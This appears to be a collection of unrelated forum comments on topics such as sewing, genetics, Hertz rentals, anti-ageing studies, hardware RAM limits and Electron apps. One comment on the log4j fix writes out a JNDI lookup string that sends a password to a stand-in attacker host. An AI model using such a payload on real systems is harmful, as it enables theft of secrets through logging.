I would add sewing to this list.

Pretty simple to learn how to use a sewing machine in an afternoon or so, and will pay dividends for the rest of your life.

I've been able to repair or alter my clothes in a pinch when needed.
Has been for years. What is frightening is we have a bubble bigger than the dotcom bubble of the late 90's, but it's all tied up with private capital -- we don't even know how leveraged it is.

I hope what comes out of the next bubble burst are more smaller, sturdier companies with real business models. Distribution is part of it, but getting back to the fundamentals of capitalism and away from mercantilism.

More smaller firms. More interoperability between services. Fairer data collection practices. And real business models.

One can dream.

Isn't the more relevant number the 46 chromosomes? So we can't even share DNA with everyone six generations back.

How can "merited economic brackets" span generations?
What are they going to be replaced with? Car "sharing" companies? Are people going to miraculously not going to require car rentals (eg. for trips) anymore?
Note that these mice were fed a high fat diet (HFD), essentially toxic fat overload to generate disease phenotypes that one can demonstrate an improvement in. Mice normally eat a mainly grain based diet, so getting 45% of calories from fat is as you can imagine pretty bad for them.

This is a common theme in anti-ageing research. When you administer some cariacature of poor lifestyle, it is much easier to find ways to improve things. The long running calorie restriction experiements in monkeys illustrate this well [1,2] - in monkeys being fed a bad diet, calorie restriction works great. In monkeys eating a kinda normal monkey diet, calorie restriction doesn't do much (and the unrestricted healthy eating monkeys live longer than the calorie restricted junky monkeys). Peter Attia had a good podcast with Steve Austad where they discuss this, albeit paywalled.

Unfortunately the style of experiment in the OP is good for publishing papers but hardly advances knowledge or helps us to explain anything.

It is much more difficult to demonstrate improvements in healthspan in animals that are living well. The ITP experiments have shown a few drugs can do this, with rapamycin being the most broadly effective.

IIRC there is such a thing as a clearance diagram which locomotives and rolling stock will be required to meet. I don't know how these are managed. The diagrams can include effects of track curvature in tunnels, etc.

From the article it sounds like the fixed platforms themselves were built out of spec.
Very interesting. When reading this I was wondering how/why Hertz managed to make this a criminal rather than civil matter. It feels to me like the ideal way to handle it would be indeed treat it as a "conversion". Contract says if you keep it past X date you agree to pay Y price for it, they charge your payment method, that fails, they forward your account to a debt collection agency. Worst case you sell the car at a loss compared to what you paid Hertz and learn a valuable lesson. This is not a violent crime, they have all your details and know who you are already! No need to put out an APB.
I may not have expressed myself properly. Instead of saying arbitrarily biased against the counterclaim, I should have said arbitrarily biased for the implied claim that is being countered.
I agree, I’m just saying that upward mobility will continue to exist but it may just look different.
> My sister-in-law's fiancé is doing it as a journeyman, and he's making very close to what I do as a mid-level SWE

This is not a very useful statement without a ballpark figure. Mid level SWE salaries range from <100k to >300k depending on the company.
This is an amazing walk down memory lane. So thorough, too! Thank you!
Thank you for this idea. Christmas is coming and this is a nice gift to get especially if you are too busy and forget to do shopping

I don't believe the bloat of modern websites is because of ad-tech of dark patterns - all of these can still be done with an otherwise lightweight website. If anything, ads (excluding intentional resource usage such as crypto-miners) would be much lighter than what a typical SPA website like Reddit or Twitter is.

I believe what's happening is a broader trend in the industry of building engineering playgrounds and doing engineering purely for engineering's sake to benefit one's career - a positive feedback loop where not participating puts developers at a disadvantage as they won't gain over-engineering skills that companies now require (they require them because their developers or managers want them for the same reason).
There have been a bunch of times in my life where I spent all day or even a few days on a difficult design and/or code problem. Then as I'm just barely coming out of it in the morning — bam — some novel solution to what I'd spend hours on the day prior. Not N1 as mentioned in the post but a very cool experience.
If the goal is to minimize and dispel the effects of systemic issues, then you have to use the overall number.

A 30W panel would need about 6 full hours of sun to fully charge that battery from 0-100. Lead acid can charge fairly quickly and can suck up that 30W input pretty easily.
This is completely orthogonal to OP’s argument.
I think the irony here is also these are likely the exact people that claimed it was just that social media was censoring conservative groups (not as a whole but specific ones especially after Trump lost). Now that it's their turn, they're seeing the fruits of allowing a corporation to limit speech.

Something about "First they came for the Socialists, and I did not speak out..." kinda rings true here. Unfortunately, too many people on the left currently do not believe in freedom of speech for things that go against their views. Now if this trend continues, they'll begin to see why you can't have your cake and eat it when you allow for an arbitrary platform to decide what your privileges are simply because they currently side with you.

It's almost as if every single conservative was right when they criticized these platforms for displaying how they can just revoke constitutional rights because it's private sector. If a company owned all the sidewalks and your primary means of protesting was a sidewalk, you wouldn't be allowed to protest then if they didn't allow you to. Therefore meaning you don't have the right to protest. For some reason though, both people on both sides don't see things that way.
I don’t think it’s baby shampoo because my partner and I both smell the shampoo, but she smells something else as well. She’s smelled the same smell since the day the baby was born, before we bathed her or put a diaper on.
You’re out of town for a weekend, you have one busy weekend at a bad time, you upgrade but don’t realize something is broken until the shit hits the fan later that week.

For a lot of people, it's not about how hard or how smart one works.

It's about the support networks that kick in when you screw up or when bad luck befalls you. Lots of middle class kids (like mine) get multiple chances to try and fail. Their parents' wealth and social connections gets to work and cushions their landing, and like Silicon Valley folk, they get to try again.

The children of working class families do not have anything close to this level of support when things go wrong. They make a mistake, or just suffer some bad luck, and they are completely screwed. Yes, everyone can get up and try again, but the difficulty of doing this from zero with no support is routinely underestimated by people (like me and my kids) who've never had to do it.
Just FYI, for Reddit there's an amazing third-party client called Apollo on iOS, and I'm sure there are others too, same on Android.
The books are a little strange. Interview with the Vampire is the most normal one. As I read through the rest of the series, it became more and more obvious that she was madly in love with her own character the vampire Lestat (Tom Cruise in the movie).

Everyone who meets Lestat (including Satan himself) becomes obsessed with him, and it feels like it's not so much because the character is super interesting but because the author has a lady-boner for him. You start to feel like a voyeur reading some really personal love letters adapted into novels.
The RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.
I had hoped Cavium would challenge Intel server space back ca. 2017, but they went HPC. Then I thought Ampere would do it, but their volumes are just minuscule for reasons I don't understand. I am surprised to see Amazon finally scare Intel.
Tor is a little difference, since the actual client is unknown to the exit node. v6peer isn't anonymous.

The lack of anonymity should discourage abuse, though obviously, not prevent it completely.
Money talk might be an american thing then, not a class thing? Where I’m from everyone is safely broke together so complaining about lack of money is almost used as small talk like weather.

But once you climb out of that, suddenly you stop talking about money. Figured US was the same
At least we don't have to use 1x1 spacer gifs anymore? Though I hated doing that, I did find table-based layouts easier to understand.

On a related note, can anyone recommend a good CSS book or tutorial?
Almost every country was very homogeneous just 50 years ago, so your family tree wont branch out like that normally. USA is a bit different since it is a nation of immigrants, but mostly people barely even left their villages historically.
The worlds biggest innovator of our time opens up emotionally. It is one of a kind valuable tweet in the history. Comparing it a few other tweets,
1. Jack Dorsey selling his first tweet. What is so unique about that?
2. Someone sells his art work. What is so unique about that?

People who know the value of these (or I should say value these works) pay for it.
They aren't trying to convince you that the competitor is worse. They're trying to convince you that switching isn't worth the hassle.

It feels weird to watch Intel competing again, but we can't really expect them to sit on their hands. In a weird way, they have become an underdog while still dominating their core markets.
I think I've bought a license for the Amiga.

Genetics are much more complicated than that. Processes like recombination means there’s much more options to mix and match genes.
Huh? Almost all people have "broken" IPv6-only networks -- their computers don't have IPv4 addresses and must use NAT to access remote IPv4 nodes. The only routable IP address on a typical home computer is IPv6.
The trick for Spotify is to start from something obscure that you like. Anything popular will have the problem you describe
Don't know how it would work for classical, but it works great for jazz.
I still use a 2012 macbook, which was the last one where Apple graciously let you replace most of the parts including the RAM sticks yourself before soldering them to the logic board. According to official documentation this computer could have only been ordered with 2x2gb sticks, can only support an upgrade up to 2x4gb sticks, but here I am running 2x8gb sticks without having to do any fiddling, just plug and play. Unlike OP though, windows 10 over bootcamp is luckily able to pick up the 16gb just fine somehow.
You kind of did the very opposite of what you’re supposed to do. Used enterprise hardware for core infrastructure (Cisco/HP/Dell with SFP+ ports), pfSense or similar for a gateway/router, and UniFi just for the UAP access points, away from your core network.
> Isn't the more relevant number the 46 chromosomes?

Not so much. Because chromosomes recombine during meiosis (sex cell differentiation), so people never pass on the chromosomes they received from their individual parents fully intact to their offspring.
If you made even a passing attempt at understanding this space you would see how wrong you are.

Anyone can interact with a contract directly, you don't need any FE or BE at all.

I can't speak to the specifics of dydx since I am not a user and haven't done my due diligence on them, but with every other dex I have ever interacted with it is entirely possible to use their service entirely from the contract interface.

Its usually the first thing I do to ensure that I can access my funds without any external dependencies.
It's the most populous state in the nation, as well as one of the most climactically and geographically diverse states.

There's almost nothing anyone could say that will apply to the whole population or the whole geography, certainly not anything that wouldn't apply equally well (or badly) to all Americans.
I was looking to Hackintosh an older Dell desktop I had squirreled away and in the process of gathering all the hardware every piece of documentation I found insisted that it topped out at 4GB. This was a late-era Core 2 so that seemed completely nonsensical to me (I don't think I ever owned a Core 2 that had less than 8) and, wouldn't you know it, 8GB worked perfectly fine.

Funnily enough, like the article's author I also encountered a DSDT-related problem on that same system: if you were to dump the tables and recompile them with the standard Intel utility it straight up wouldn't work. Came to find out that there are apparently two compilers, one from Intel and another from MS and the MS one is super-lenient about accepting garbage. Eventually worked out that the logic in the stock tables was such that several features (HPET and sleep, iirc) just straight up don't work unless the OS identifies itself to ACPI as Vista (and not like Vista+, Vista exclusively). Such a pain.
Plenty of knowledgeable people have very motivated reasoning
That is quite clever. Noted!
Yes, thanks for linking to the videos, the author has done a great job showing people how to use both CEPL and OpenGL/Lisp. It has been a while since I've used it, but really felt like such a natural fit for graphics programming.
I read about another study relatively recently (maybe it was HN? Not sure.) that talked about some of the fundamental flaws when looking at these types of economic mobility studies (i.e. change of moving from bottom quintile to top quintile, etc.) because they usually only look at income and ignore social class.

That is, suppose Bob is a rich banker. His kid Frank goes to private school and on to an Ivy League college, but seeing how distant and money-focused his dad was growing up, Frank decides to become a writer. Frank is certainly not poor, but he definitely lives on a very modest income and that is what his son John experiences growing up. John, not wanting to have to be in as modest circumstances as his Dad, decides to follow in his grandfather's footsteps and become a banker. His grandfather is even able to introduce him to some colleagues and get him some interviews at top investment banks.

Point being, if you just look at income, it will look like a dynamic economy with lots of economic mobility, with each generation moving from the top to the bottom of the economic latter, and vice versa. In reality, though, nothing really changed at all about their social class and the opportunities that were open to them. Unlike most people in the bottom half of the economic spectrum, Frank was basically there by choice.

Again, you may think this is an extreme example, but in my experience I have seen some version of that multiple times.
That does indeed look very effective.
its been over a decade now.

would like to point out that HN was also saying BTC was over valued at $1k.

Didn't listen to you guys then, not going to now either.
Yeah, I actually like hertz's process, quick and no hassle (assuming they don't report the car as stolen)
That sounds super cool. Do you have a github or something we can follow?

The local usage / community aspect is what I miss most about local BBSes. I remember having gatherings, BBS picnics, that sort of thing. That world is gone.
Does this mean that Twitter believes that no vaccinated person should ever have to wear a mask? If not, then what do they believe masks do?
The U of T library has been purging their collections of old archived journals - possibly onlining them as well. They also toss out 3-4 cubic meters of all sorts of books/ They put them in the University swap shop at 10 cents each in large cubic meter bins of wheels. about a dozen bins. New bins enter full and the book buyers burrow and more. and by the time the bins reach the end in about 2 weeks, the rest are pulped. The University gets donated books as well as their own aging collection. If a book is not used for XX years, I suspect they allow people at them and then pulp them.
I looked at some fresh bins - nothing at all I wanted even if free.
Covid has reduced access, I have not been there for over a year, but I hear it is open again - if I have a mind to browse...
When 3 out 4 people "fail" at something, I'm not sure that calling it "extremely achievable" is really a particularly suitable description.
Another option is to use an Electron boilerplate and then start learning a web framework of your choice. Electron development is incredibly rich. The UI is web tech, but that’s just the tip of the iceberg. There’s RPC back to a node process. You can call into native code on any platform. There are tons of NPM modules for both the browser and Node. There are bindings for whatever languages you want to use, and if you find yourself SOL (outta luck) you can even package “one file” python projects into a command line callable (via electron’s child exec) to work magic. It’s almost a limitless environment to build - I’m absolutely addicted because the puzzle solving is immensely gratifying.

For example, my electron app is used to design and print labels, and it integrates with excel and CSV. Mac users of Apple’s Numbers app have been SOL because the only way to export CSV data is using the UI (either manually or pseudo manually with AppleScript). When I wrote the app 3 years ago nothing existed to read .numbers files, let alone convert to CSV. Every holiday I get a flurry of emails from sad Numbers users because manually exporting is high friction. This morning I woke at 4am and thought I’d look again and huzzah! Someone published a Python project this year to read .numbers files. Awesome.

It took me about an hour to write a python script that accepted two arguments: the .numbers file and a destination .csv file. Then I spent 4 hours trying to package it up because damn if apple’s code signing isn’t a nightmare. But I digress.

I built a beta and now my poor users (wife included) can finally hit save in Numbers and boom, their labels immediately update with data. Very happy!

I know electron isn’t for everybody. I was (and still am) a mobile app dev writing native swift/kotlin. But I’m absolutely in love with JS/TS, warts and all!

My app is https://label.live and I’m always looking for interesting cross-platform app ideas, partners, etc.
Could you write that book?

Or better yet, how about just writing a series of blog posts or a newsletter?

Don't waste time on the setup, just register something on substack.com and I'm sure a bunch of folks here will subscribe. It sounds like a fascinating subject.
You can look at East Asia and see what happens. Chaebols from SK, Zaibatsu and keiretsu from Japan.

Given that median household income in NYC is around $70k, I'd say it buys you quite a bit.

I used to go to Barnes and Noble all the time, hang out in the cafe, read random books that caught my interest. Sometimes I even bought a few! I went a few times this summer, but basically covid ended that for me.
You know what, I had Backblaze tell me that I had a drive missing on Friday that had been disconnected for 14 days. My external USB drive failed to startup up correctly after a power outage. However, I had 3 or 4 notices from Backblaze in that time of successfully completed back ups. I think the default is to warn after not successfully backing up for 5 days. I set that to 2 instead. Some of the checks seem disconnected from each other.

I’ve also had issues with downloading my 2TB of data the Backblaze has. Takes about 3 or 4 days, if you’re successful. With retries and failures, wall time was about a week. And I have a 1G/1G internet connection. And doing the work to break it into 500GB chunks sucks.

I’d like to back up more of my files but I worry I would not be able to get it back.
Two jobs ago when I used to work as a full-stack dev, the rule was to develop in Safari and test in Chrome and Firefox. We pulled the logs and there were way too many people using iPads that the site must work in Safari.

What do you have in there that it's that big? I assume there are quite a few binary files which probably shouldn't be in Git.
> The only way a company responds like that is when they fully believe that they're a staple and CAN'T go out of business. We'll see about that...

Considering Hertz emerged from bankruptcy just 5 months ago I think they're pretty aware of their capability to go out of business...
